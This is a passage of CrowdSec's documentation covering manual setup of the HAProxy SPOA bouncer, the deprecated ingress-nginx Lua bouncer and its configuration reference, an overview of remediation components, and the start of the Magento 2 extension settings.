configuration[โ€‹](#manual-installation-and-advanced-configuration "Direct link to Manual installation and advanced configuration") We strongly encourage the use of our packages. #### Compile the Binary[โ€‹](#compile-the-binary "Direct link to Compile the Binary") This requires a whole working [golang installation](https://go.dev/doc/install). SHCOPY ``` git clone https://github.com/crowdsecurity/cs-haproxy-spoa-bouncer.git cd cs-haproxy-spoa-bouncer make build ``` #### Configure the Bouncer[โ€‹](#configure-the-bouncer "Direct link to Configure the Bouncer") SHCOPY ``` sudo mkdir -p /etc/crowdsec/bouncers/ sudo cp config/crowdsec-spoa-bouncer.yaml /etc/crowdsec/bouncers/ ``` The configuration file is located at `/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml`: YAMLCOPY ``` log_mode: file log_dir: /var/log/crowdsec-spoa/ log_level: info compress_logs: true log_max_size: 100 log_max_files: 3 log_max_age: 30 update_frequency: 10s api_url: http://127.0.0.1:8080/ api_key: ${API_KEY} insecure_skip_verify: false # Optional (mTLS to LAPI) #cert_path: /etc/ssl/certs/client.crt #key_path: /etc/ssl/private/client.key #ca_cert_path: /etc/ssl/certs/ca.crt #retry_initial_connect: true # Host configuration examples hosts: - host: "example.com" captcha: provider: "turnstile" site_key: "" secret_key: "" signing_key: "" pending_ttl: "30m" passed_ttl: "24h" cookie: secure: "auto" http_only: true ban: contact_us_url: "https://example.com/support" appsec: always_send: false # url: "http://127.0.0.1:7422" # optional per-host override # api_key: "" # optional per-host override # timeout: "200ms" # optional per-host override log_level: "info" - host: "*" captcha: fallback_remediation: "allow" listen_tcp: 0.0.0.0:9000 listen_unix: /run/crowdsec-spoa/spoa.sock prometheus: enabled: false listen_addr: 127.0.0.1 listen_port: "60601" # Optional (AppSec) #appsec_url: http://127.0.0.1:7422 #appsec_timeout: 200ms # Optional (debug only) #pprof: # enabled: false # listen_addr: 127.0.0.1 # listen_port: "6060" ``` Generate an API key: SHCOPY ``` sudo cscli bouncers add mybouncer ``` Then update the `api_key` field in the configuration file. You can check that the bouncer is correctly installed with cscli: SHCOPY ``` โฏ sudo cscli bouncers list โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Name IP Address Valid Last API pull Type โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ cs-spoa-bouncer-1752052534 127.0.0.1 โœ”๏ธ crowdsec-spoa-bouncer โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ โฏ sudo cscli bouncers inspect cs-spoa-bouncer-1752052534 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Bouncer: cs-spoa-bouncer-1752052534 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Created At 2025-07-09 09:15:34.685444393 +0000 UTC Last Update 2025-07-09 12:42:18.92023029 +0000 UTC Revoked? false IP Address 127.0.0.1 Type crowdsec-spoa-bouncer Version v0.0.3-beta29-rpm-pragmatic-arm64-db7065289a0f5ce1c92f34807c9a98b23c07dc90 Last Pull Auth type api-key OS ? Auto Created false โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ``` File Permissions The service runs as the `crowdsec-spoa` user. Ensure configuration files are readable by this user: SHCOPY ``` sudo chown root:crowdsec-spoa /etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml sudo chmod 640 /etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml ``` If you have created `.local` variants of configuration files, apply the same permissions to those files as well. #### Configure HAProxy[โ€‹](#configure-haproxy "Direct link to Configure HAProxy") Follow the โ€œHAProxy Configurationโ€ section above. Use `send-spoe-group` and the upstream `/etc/haproxy/crowdsec.cfg` (with `spoe-groups`). The upstream repository also ships full examples under `config/`. #### Start the Bouncer[โ€‹](#start-the-bouncer "Direct link to Start the Bouncer") Run Directly SHCOPY ``` sudo ./crowdsec-spoa-bouncer -c /etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml ``` Or Run as a Systemd Service SHCOPY ``` sudo cp config/crowdsec-spoa-bouncer.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable --now crowdsec-spoa-bouncer ``` --- # Ingress Nginx ![CrowdSec](/img/crowdsec_nginx.svg "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) AppSecSupported ModeLive & Stream MetricsSupported MTLSSupported PrometheusUnsupported Deprecated and not recommended This CrowdSec integration for `ingress-nginx` is being deprecated. `ingress-nginx` has known security issues, and upstream removed Lua support in version `1.12`, which this integration depends on. Do not use this for new deployments. If you are already using it, plan a migration to another supported integration such as [Traefik](https://docs.crowdsec.net/docs/next/appsec/quickstart/traefik.md) or [Envoy Gateway](https://docs.crowdsec.net/docs/next/appsec/quickstart/envoy-gateway.md). A lua Remediation Component for Ingress Nginx Controller. ## How does it work ?[โ€‹](#how-does-it-work- "Direct link to How does it work ?") This component leverages OpenResty lua's API, used the ingress nginx controller as a [plugin](https://github.com/kubernetes/ingress-nginx/blob/main/rootfs/etc/nginx/lua/plugins/README.md). Supported features: * Live mode (query the local API for each request) * Stream mode (pull the local API for new/old decisions every X seconds) * Ban remediation (can ban an IP address by redirecting him or returning a custom HTML page) * CAPTCHA remediation (can return a captcha) * Works with IPv4/IPv6 * Support IP ranges (can apply a remediation on an IP range) At the back, this component uses [crowdsec lua lib](https://github.com/crowdsecurity/lua-cs-bouncer/). ## Installation[โ€‹](#installation "Direct link to Installation") Before installation The Ingress nginx controller should be installed using the [official helm chart](https://artifacthub.io/packages/helm/ingress-nginx/ingress-nginx) ### Using Helm[โ€‹](#using-helm "Direct link to Using Helm") First you need to create new ingress-nginx chart values file (`crowdsec-ingress-values.yaml`) to upgrade the ingress controller with the crowdsec plugin. Store the CrowdSec bouncer key in Kubernetes Secrets instead of embedding it directly in the Helm values. Create or update the secret used by CrowdSec LAPI: crowdsec-keys.yaml YAMLcrowdsec-keys.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-keys namespace: crowdsec type: Opaque stringData: BOUNCER_KEY_nginx_ingress_waf: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-keys.yaml ``` Then reference it from your CrowdSec values: crowdsec-values.yaml YAMLcrowdsec-values.yamlCOPY ``` lapi: env: - name: BOUNCER_KEY_nginx_ingress_waf valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_nginx_ingress_waf ``` note Although this is the same bouncer key value, you need two `Secret` objects here: one in `crowdsec` and one in `ingress-nginx`. Kubernetes secrets are namespace-scoped, so the ingress controller cannot read a secret from the `crowdsec` namespace. Create the secret holding the same key in the `ingress-nginx` namespace: crowdsec-ingress-bouncer-secret.yaml YAMLcrowdsec-ingress-bouncer-secret.yamlCOPY ``` apiVersion: v1 kind: Secret metadata: name: crowdsec-ingress-bouncer-secrets namespace: ingress-nginx type: Opaque stringData: api-key: "" ``` Apply it: SHCOPY ``` kubectl apply -f crowdsec-ingress-bouncer-secret.yaml ``` warning Lua support has been removed from mainline ingress nginx in version 1.12. As CrowdSec remediation relies on lua, you need to use our controller image as shown in the following values.yaml. YAMLCOPY ``` controller: image: PullPolicy: IfNotPresent image: crowdsecurity/controller # Crowdsec Remediation with Ingress Nginx requires to use our controller image tag: v1.14.3 # If you update the tag, the digest needs to be updated as well digest: sha256:9ab8791635f4cde9964ab2562fb8b15faf72fe0205f0fe288089a87e1455675d registry: docker.io extraVolumes: - name: crowdsec-bouncer-plugin emptyDir: {} extraInitContainers: - name: init-clone-crowdsec-bouncer image: crowdsecurity/lua-bouncer-plugin imagePullPolicy: IfNotPresent env: - name: API_URL value: "http://crowdsec-service.crowdsec.svc.cluster.local:8080" # crowdsec lapi service-name - name: API_KEY valueFrom: secretKeyRef: name: crowdsec-ingress-bouncer-secrets key: api-key - name: BOUNCER_CONFIG value: "/crowdsec/crowdsec-bouncer.conf" - name: CAPTCHA_PROVIDER value: "recaptcha" # valid providers are recaptcha, hcaptcha, turnstile - name: SECRET_KEY value: "" # If you want captcha support otherwise remove this ENV VAR - name: SITE_KEY value: "" # If you want captcha support otherwise remove this ENV VAR - name: BAN_TEMPLATE_PATH value: "/etc/nginx/lua/plugins/crowdsec/templates/ban.html" - name: CAPTCHA_TEMPLATE_PATH value: "/etc/nginx/lua/plugins/crowdsec/templates/captcha.html" ## Appsec configuration, optional. ## Remove this section if not using appsec - name: APPSEC_URL value: "http://crowdsec-appsec-service.crowdsec.svc.cluster.local:7422" # if using our helm chart with "crowdsec" release name, and running the appsec in the "crowdsec" namespace - name: APPSEC_FAILURE_ACTION value: "passthrough" # What to do if the appsec is down, optional - name: APPSEC_CONNECT_TIMEOUT # connection timeout to the appsec, in ms, optionial value: "100" - name: APPSEC_SEND_TIMEOUT # write timeout to the appsec, in ms, optional value: "100" - name: APPSEC_PROCESS_TIMEOUT # max processing duration of the request, in ms, optional value: "1000" - name: ALWAYS_SEND_TO_APPSEC value: "false" # always send requests to the appsec, even if there's a decision against the IP, optional command: [ "sh", "-c", "sh /docker_start.sh; mkdir -p /lua_plugins/crowdsec/; cp -R /crowdsec/* /lua_plugins/crowdsec/", ] volumeMounts: - name: crowdsec-bouncer-plugin mountPath: /lua_plugins extraVolumeMounts: - name: crowdsec-bouncer-plugin mountPath: /etc/nginx/lua/plugins/crowdsec subPath: crowdsec config: plugins: "crowdsec" lua-shared-dicts: "crowdsec_cache: 50m" server-snippet: | lua_ssl_trusted_certificate "/etc/ssl/certs/ca-certificates.crt"; # If you want captcha support otherwise remove this line resolver local=on ipv6=off; ``` Use this values file to deploy or upgrade ingress-nginx with the CrowdSec Lua plugin and the CrowdSec-maintained ingress controller image with Lua support. It uses [this docker image](https://hub.docker.com/r/crowdsecurity/lua-bouncer-plugin) to copy the CrowdSec Lua library. SHCOPY ``` helm upgrade --install ingress-nginx ingress-nginx/ingress-nginx \ -n ingress-nginx \ --create-namespace \ -f crowdsec-ingress-values.yaml ``` And then check if the ingress controller is running well. SHCOPY ``` kubectl -n ingress-nginx get pods ``` info In stream mode, the component will launch an internal timer to pull the local API at the first request made to the ingress controller. ### Ingress controller Configuration[โ€‹](#ingress-controller-configuration "Direct link to Ingress controller Configuration") The component uses [lua\_shared\_dict](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#lua-shared-dicts) to share cache between all workers. If you want to increase the cache size you need to change this value : YAMLCOPY ``` controller: config: lua-shared-dicts: "crowdsec_cache: 50m" ``` โš ๏ธ Do not rename the `crowdsec_cache` shared dict, else the component will not work anymore. #### When using captcha remediation[โ€‹](#when-using-captcha-remediation "Direct link to When using captcha remediation") To make HTTP request in the component, we need to set a `resolver` in the configuration. We choose `local=on` directive since we query `google.com` for the captcha verification, but you can replace it with a valid one. To make secure HTTP request in the component, we need to specify a trusted certificate (`lua_ssl_trusted_certificate`). You can also change this with a valid one : TEXTCOPY ``` - /etc/ssl/certs/ca-certificates.crt (Debian/Ubuntu/Gentoo) - /etc/pki/tls/certs/ca-bundle.crt (Fedora/RHEL 6) - /etc/ssl/ca-bundle.pem (OpenSUSE) - /etc/pki/tls/cacert.pem (OpenELEC) - /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem (CentOS/RHEL 7) - /etc/ssl/cert.pem (OpenBSD, Alpine) ``` ## References[โ€‹](#references "Direct link to References") ### `API_KEY`[โ€‹](#api_key "Direct link to api_key") > string SHCOPY ``` API_KEY= ``` CrowdSec Local API key. Generated with [`sudo cscli bouncers add`](https://docs.crowdsec.net/u/getting_started/installation/linux.md) command. ### `API_URL`[โ€‹](#api_url "Direct link to api_url") > string SHCOPY ``` API_URL=http://: ``` CrowdSec local API URL. ### `USE_TLS_AUTH`[โ€‹](#use_tls_auth "Direct link to use_tls_auth") > boolean SHCOPY ``` USE_TLS_AUTH=false # default ``` Enable mutual TLS (mTLS) authentication for secure communication with CrowdSec Local API. When enabled, the bouncer will use client certificates for authentication instead of API keys. ### `TLS_CLIENT_CERT`[โ€‹](#tls_client_cert "Direct link to tls_client_cert") > string (path to file) SHCOPY ``` TLS_CLIENT_CERT= ``` Path to the client certificate file for mTLS authentication. This option is only used when `USE_TLS_AUTH` is set to `true`. ### `TLS_CLIENT_KEY`[โ€‹](#tls_client_key "Direct link to tls_client_key") > string (path to file) SHCOPY ``` TLS_CLIENT_KEY= ``` Path to the client certificate's private key file for mTLS authentication. This option is only used when `USE_TLS_AUTH` is set to `true`. ### `BOUNCING_ON_TYPE`[โ€‹](#bouncing_on_type "Direct link to bouncing_on_type") > all | ban | captcha SHCOPY ``` BOUNCING_ON_TYPE=all ``` Type of remediation we want to bounce. If you choose `ban` only and receive a decision with `captcha` as remediation, the component will skip the decision. ### `FALLBACK_REMEDIATION`[โ€‹](#fallback_remediation "Direct link to fallback_remediation") > ban | captcha SHCOPY ``` FALLBACK_REMEDIATION=ban ``` The fallback remediation is applied if the component receives a decision with an unknown remediation. ### `MODE`[โ€‹](#mode "Direct link to mode") > stream | live SHCOPY ``` MODE=stream ``` The component mode: * stream: The component will pull new/old decisions from the local API every X seconds (`UPDATE_FREQUENCY` parameter). * live: The component will query the local API for each requests (if IP is not in cache) and will store the IP in cache for X seconds (`CACHE_EXPIRATION` parameter). note The timer that pull the local API will be triggered after the first request. ### `REQUEST_TIMEOUT`[โ€‹](#request_timeout "Direct link to request_timeout") > int SHCOPY ``` REQUEST_TIMEOUT=1000 ``` Timeout in milliseconds for the HTTP requests done by the component to query CrowdSec local API or captcha provider (for the captcha verification). ### `EXCLUDE_LOCATION`[โ€‹](#exclude_location "Direct link to exclude_location") > string (comma separated) SHCOPY ``` EXCLUDE_LOCATION=/,/ ``` The locations to exclude while bouncing. It is a list of location, separated by commas. โš ๏ธ It is not recommended to put `EXCLUDE_LOCATION=/`. ### `CACHE_EXPIRATION`[โ€‹](#cache_expiration "Direct link to cache_expiration") > int > This option is only for the `live` mode. SHCOPY ``` CACHE_EXPIRATION=120 ``` The cache expiration, in second, for IPs that the component store in cache in `live` mode. ### `UPDATE_FREQUENCY`[โ€‹](#update_frequency "Direct link to update_frequency") > int > This option is only for the `stream` mode. SHCOPY ``` UPDATE_FREQUENCY=10 ``` The frequency of update, in second, to pull new/old IPs from the CrowdSec local API. ### `REDIRECT_LOCATION`[โ€‹](#redirect_location "Direct link to redirect_location") > string > This option is only for the `ban` remediation. SHCOPY ``` REDIRECT_LOCATION=/ ``` The location to redirect the user when there is a ban. If it is not set, the component will return the page defined in the `BAN_TEMPLATE_PATH` with the `RET_CODE` (403 by default). ### `BAN_TEMPLATE_PATH`[โ€‹](#ban_template_path "Direct link to ban_template_path") > string (path to file) > This option is only for the `ban` remediation. SHCOPY ``` BAN_TEMPLATE_PATH= ``` The path to a HTML page to return to IPs that trigger `ban` remediation. By default, the HTML template is located in `/etc/nginx/lua/plugins/crowdsec/templates/ban.html`. ### `RET_CODE`[โ€‹](#ret_code "Direct link to ret_code") > int > This option is only for the `ban` remediation. SHCOPY ``` RET_CODE=403 ``` The HTTP code to return for IPs that trigger a `ban` remediation. If nothing specified, it will return a 403. ### `CAPTCHA_PROVIDER`[โ€‹](#captcha_provider "Direct link to captcha_provider") > recaptcha | hcaptcha | turnstile > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_PROVIDER=recaptcha ``` info For backwards compatibility reasons `recaptcha` is the default if no value is set. ### `SECRET_KEY`[โ€‹](#secret_key "Direct link to secret_key") > string > This option is only for the `captcha` remediation. SHCOPY ``` SECRET_KEY= ``` The captcha secret key. ### `SITE_KEY`[โ€‹](#site_key "Direct link to site_key") > string > This option is only for the `captcha` remediation. SHCOPY ``` SITE_KEY= ``` The captcha site key. ### `CAPTCHA_TEMPLATE_PATH`[โ€‹](#captcha_template_path "Direct link to captcha_template_path") > string (path to file) > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_TEMPLATE_PATH= ``` The path to a captcha HTML template. The component will try to replace `{{captcha_site_key}}` in the template with `SITE_KEY` parameter. By default, the HTML template is located in `/etc/nginx/lua/plugins/crowdsec/templates/captcha.html`. ### `CAPTCHA_EXPIRATION`[โ€‹](#captcha_expiration "Direct link to captcha_expiration") > int > This option is only for the `captcha` remediation. SHCOPY ``` CAPTCHA_EXPIRATION=3600 ``` The time for which the captcha will be validated. After this duration, if the decision is still present in CrowdSec local API, the IPs address will get a captcha again. ### `APPSEC_URL`[โ€‹](#appsec_url "Direct link to appsec_url") > string SHCOPY ``` APPSEC_URL=http://: ``` If set, enable appsec mode and forward the request to this endpoint for analysis. Use `http://crowdsec-appsec-service.crowdsec.svc.cluster.local:7422` if using our helm chart with `crowdsec` release name, and running the appsec in the `crowdsec` namespace. ### `APPSEC_FAILURE_ACTION`[โ€‹](#appsec_failure_action "Direct link to appsec_failure_action") > passthrough | deny SHCOPY ``` APPSEC_FAILURE_ACTION=passthrough # default ``` Behavior when the AppSec Component return a 500. Can let the request passthrough or deny it. ### `ALWAYS_SEND_TO_APPSEC`[โ€‹](#always_send_to_appsec "Direct link to always_send_to_appsec") > boolean SHCOPY ``` ALWAYS_SEND_TO_APPSEC=false # default ``` Send the request to the AppSec Component even if there is a decision for the IP. ### `SSL_VERIFY`[โ€‹](#ssl_verify "Direct link to ssl_verify") > boolean SHCOPY ``` SSL_VERIFY=false # default ``` Verify the AppSec Component SSL certificate validity. ### `APPSEC_CONNECT_TIMEOUT`[โ€‹](#appsec_connect_timeout "Direct link to appsec_connect_timeout") > int (milliseconds) SHCOPY ``` APPSEC_CONNECT_TIMEOUT=100 # default ``` The timeout of the connection between the Remediation Component and AppSec Component. ### `APPSEC_SEND_TIMEOUT`[โ€‹](#appsec_send_timeout "Direct link to appsec_send_timeout") > int (milliseconds) SHCOPY ``` APPSEC_SEND_TIMEOUT=100 # default ``` The timeout to send data from the Remediation Component to the AppSec Component. ### `APPSEC_PROCESS_TIMEOUT`[โ€‹](#appsec_process_timeout "Direct link to appsec_process_timeout") > int (milliseconds) SHCOPY ``` APPSEC_PROCESS_TIMEOUT=500 # default ``` The timeout to process the request from the Remediation Component to the AppSec Component. --- # Remediation Components info You may see Remediation Components referred to as "bouncers" in the documentation and/or within cscli commands. ## Introduction[โ€‹](#introduction "Direct link to Introduction") Remediation Components are software packages in charge of acting upon decisions provided by the Security Engine. Depending on where you would like to remediate the decision, you will need to install the appropriate Remediation Component. ## Choosing the Right Remediation Component[โ€‹](#choosing-the-right-remediation-component "Direct link to Choosing the Right Remediation Component") CrowdSec offers two categories of remediation: **infrastructure-level** (Layer 3/4) and **application-level** (Layer 7). Choosing the right one depends on what you are protecting. Protecting a web application? Use a **WAF-capable** bouncer ([Nginx](https://docs.crowdsec.net/u/bouncers/nginx.md), [OpenResty](https://docs.crowdsec.net/u/bouncers/openresty.md), [Traefik](https://docs.crowdsec.net/u/bouncers/traefik.md), or [HAProxy SPOA](https://docs.crowdsec.net/u/bouncers/haproxy_spoa.md)) to get real-time WAF protection, virtual patching, and defense against application-layer attacks like SQL injection, XSS, and CVE exploitation. [Learn more about AppSec](https://docs.crowdsec.net/docs/next/appsec/intro.md). | What are you protecting? | Recommended Component | Why? | | ------------------------------------------- | ------------------------------------------------------------------------------------- | ------------------------------------------ | | **Web app behind Nginx** | [crowdsec-nginx-bouncer](https://docs.crowdsec.net/u/bouncers/nginx.md) | In-band WAF + virtual patching via AppSec | | **Docker/K8s with Traefik** | [traefik-bouncer-plugin](https://docs.crowdsec.net/u/bouncers/traefik.md) | Native middleware integration + AppSec | | **High-performance proxy (HAProxy)** | [cs-haproxy-spoa-bouncer](https://docs.crowdsec.net/u/bouncers/haproxy_spoa.md) | SPOA offloading for L7 inspection + AppSec | | **Web app behind OpenResty** | [crowdsec-openresty-bouncer](https://docs.crowdsec.net/u/bouncers/openresty.md) | Built-in Lua support + AppSec | | **Infrastructure services (SSH, DB, SMTP)** | [crowdsec-firewall-bouncer](https://docs.crowdsec.net/u/bouncers/firewall.md) | Broad port protection at kernel level | | **Cloudflare-fronted sites** | [crowdsec-cloudflare-bouncer](https://docs.crowdsec.net/u/bouncers/cloudflare.md) | Push decisions to the Cloudflare firewall | | **Appliances (pfSense, Fortinet, etc.)** | [crowdsec-blocklist-mirror](https://docs.crowdsec.net/u/bouncers/blocklist-mirror.md) | Serve blocklists over HTTP | info Don't know which component suits your needs? Then join our [discord](https://discord.gg/crowdsec) and ask the community! **This is not an exhaustive list of remediation components. You can find more on the [hub](https://app.crowdsec.net/hub/remediation-components).** Remediation Components interact with [crowdsec's Local API](https://docs.crowdsec.net/docs/next/local_api/intro.md) to retrieve active decisions and remediate appropriately. For your remediation components to communicate with the local API, you have to generate an API token with `cscli` and put it in the associated configuration file: ### Generate an API Key for your Bouncer[โ€‹](#generate-an-api-key-for-your-bouncer "Direct link to Generate an API Key for your Bouncer") SHCOPY ``` sudo cscli bouncers add testBouncer Api key for 'testBouncer': 6dcfe93f18675265e905aef390330a35 Please keep this key since you will not be able to retrieve it! ``` info This command must be run on the server where the local API is installed (or at least with a cscli that has valid credentials to communicate with the database used by the API). This is only necessary if you "manually" install a remediation, packages and install scripts usually take care of this. If you wish to create your own Remediation Component, look at [this section](https://docs.crowdsec.net/docs/next/local_api/bouncers.md) of the local API documentation. ## Remediation Component Badges[โ€‹](#remediation-component-badges "Direct link to Remediation Component Badges") As CrowdSec has evolved over the years we have added support for various technologies and services. The following badges indicate the level of support for each remediation component. | Badge | Description | | ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | AppSec | Can forward HTTP requests to the AppSec Component [more information](https://docs.crowdsec.net/docs/next/appsec/intro.md) | | Mode | Can be configured into different modes, typically live (send a request to LAPI for each remediation check) or stream (downloads all current decisions to a local cache and checks periodically for new / deleted ones)

**note these are the naming schemes live/stream are used by first party remediation components** | | Metrics | Can send detailed metrics to the LAPI [more information](https://docs.crowdsec.net/docs/next/observability/usage_metrics.md) | | MTLS | Supports Mutual TLS authentication to the LAPI [more information](https://docs.crowdsec.net/docs/next/local_api/tls_auth.md) | | Prometheus | Can expose Prometheus metrics | --- # Magento 2 ![CrowdSec](/img/bouncer/magento/crowdsec_magento_bouncer.png "CrowdSec") ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeLive & Stream MetricsUnsupported MTLSSupported PrometheusUnsupported ## Introduction[โ€‹](#introduction "Direct link to Introduction") The `CrowdSec Bouncer` extension for Magento 2 has been designed to protect Magento 2 websites from all kinds of attacks by using [CrowdSec](https://www.crowdsec.net/) technology. ### Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") To be able to use this component, the first step is to install [CrowdSec v1](https://doc.crowdsec.net/docs/getting_started/install_crowdsec/). CrowdSec is only in charge of the "detection", and won't block anything on its own. You need to deploy a Remediation Component to "apply" decisions. Please note that first and foremost CrowdSec must be installed on a server that is accessible via the Magento 2 site. ## Usage[โ€‹](#usage "Direct link to Usage") ### Features[โ€‹](#features "Direct link to Features") When a user is suspected by CrowdSec to be malevolent, this component will either send a captcha to resolve or simply a page notifying that access is denied. If the user is considered as a clean user, he will access the page as normal. By default, the ban wall is displayed as below: ![Ban wall](/img/bouncer/magento/screenshots/front-ban.jpg "Ban wall") By default, the captcha wall is displayed as below: ![Captcha wall](/img/bouncer/magento/screenshots/front-captcha.jpg "Captcha wall") Please note that it is possible to customize all the colors of these pages in a few clicks so that they integrate best with your design. On the other hand, all texts are also fully customizable. This will allow you, for example, to present translated pages in your usersโ€™ language. ### Configurations[โ€‹](#configurations "Direct link to Configurations") This module comes with configurations that you will find under `Stores โ†’ Configurations โ†’ Security โ†’ CrowdSec Bouncer` admin section. These configurations are divided in four main parts : `General Settings`, `Theme customizations`, `Advanced settings` and `Events`. #### General Settings[โ€‹](#general-settings "Direct link to General Settings") In the `General settings` part, you will set your connection details and refine bouncing according to your needs. ![Connection details](/img/bouncer/magento/screenshots/config-connection-details.jpg "Connection details") *** `Connection details โ†’ Your Local API Url` (`global` scope) Url to join your CrowdSec Local API. If the CrowdSec Agent is installed on this server, you could set this field to `http://localhost:8080`. *** `Connection details โ†’ Authentication type` (`global` scope) Choose between API key and TLS (pki) authentication. TLS authentication is only available if you use CrowdSec agent with a version superior to 1.4.0. Please see [CrowdSec documentation](https://docs.crowdsec.net/docs/local_api/tls_auth/). *** `Connection details โ†’ Your component key` (`global` scope) Key generated by the cscli command. Only if you chose `Api key` as authentication type. *** `Connection details โ†’ Path to the component certificate` (`global` scope) Relative path to the `var` folder of your Magento 2 instance. Example: `crowdsec/tls/component.pem`. Only if you chose `TLS` as authentication type. *** `Connection details โ†’ Path to the component key` (`global` scope) Relative path to the `var` folder of your Magento 2 instance. Example: `crowdsec/tls/component-key.pem`. Only if you chose `TLS` as authentication type. *** `Connection details โ†’ Enable TLS peer verification` (`global` scope) This option determines whether request handler verifies the authenticity of the peer's certificate. Only if you chose `TLS` as authentication type. When negotiating a TLS or SSL connection, the server sends a certificate indicating its identity. If `Enable TLS peer verification` is set to true, request handler verifies whether the certificate is authentic. This trust is based on a chain of digital signatures, rooted in certification authority (CA) certificate you supply using the `Path to the CA certificate for peer verification` setting below. *** `Connection details โ†’ Path to the CA certificate for peer verification` (`global` scope) Relative path to the `var` folder of your Magento 2 instance. Example: `crowdsec/tls/ca-chain.pem`. Only if you chose `TLS` as authentication type. *** `Connection details โ†’ Use cURL` (`global` scope) By default, `file_get_contents` method is used to call Local API. This method requires to have enabled the option `allow_url_fopen`. Here, you can choose to use `cURL` requests instead. Beware that in this case, you need to have php `cURL` extension installed and enabled on your system. **N.B** : Even before saving configuration, you can check if your settings are correct by clicking on the test button. *** ![Bouncing](/img/bouncer/magento/screenshots/config-bouncing.jpg "Bouncing") *** `Bouncing โ†’ Enable 